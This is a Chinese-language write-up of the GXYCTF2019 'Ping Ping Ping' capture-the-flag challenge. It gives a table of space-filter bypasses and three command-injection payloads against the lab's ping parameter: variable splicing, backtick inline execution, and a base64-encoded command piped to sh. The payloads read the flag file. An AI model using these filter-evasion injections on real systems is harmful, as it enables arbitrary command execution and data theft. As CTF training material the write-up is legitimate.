GXYCTF2019 Ping Ping Ping1
[GXYCTF2019]Ping Ping Ping1
进入靶机
看到/?ip=?的提示,结合源代码没有任何东西,尝试bp抓包
查看请求头想到X-Forwarded-For
对于X-Forwarded-For有以上解释,简单概括就是表示请求端的真实IP
发现无响应事件,查了一下后发现只是在地址栏改就ok了…
发现空格被过滤
关于空格绕过我做过研究
空格绕过
操作系统 | 前置条件 | 字符 | 起效部分 | 实质 |
---|---|---|---|---|
Linux | $IFS$9 | 本身 | ||
Linux | $IFS$1 | 本身 | ||
Linux | ${IFS} | 本身 | ||
Linux | $IFS\ | 本身 | ||
Linux | {cat,text.php} | 在{}包含下”,”起作用 | ||
Linux | < | 本身 | 重定向符 | |
Linux | <> | 本身 | 重定向符 | |
未测定 | php环境 | %20 | 本身 | space |
未测定 | php环境 | %09 | 本身 | tab |
这里用<>
尝试
发现符号也被过滤了,再试试$IFS$9
发现flag也被过滤了,所以想到拼接绕过
试了很多次都不行最后猜想flag四个字母不管顺序,都不能同时出现
拒绝继续黑盒测试,看看index.php中到底过滤了啥
方法一
简单审计了一下代码,这不是换个顺序就好了吗……
payload
1 | /?ip=127.0.0.1||b=g;cat$IFS$9fla$b.php |
拿到flag
但发现这里还有一个shell_exec()函数,有点兴趣
看了一下手册,发现就是输出字符型的命令执行结果
方法二
再看了一下网上 的wp发现还有个内联执行 (真正的大佬操作,给跪了)
构造 /?ip=127.0.0.1;cat$IFS$9ls
什么正则都是浮云,可能这就是大佬的世界把。
注:内联,就是将反引号内命令的输出作为输入执行。
方法三
方法二 sh,bash下编码
payload:
1 | echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh |
解码后 cat falg.php
拿到flag
Comments
Comment plugin failed to load
Loading comment plugin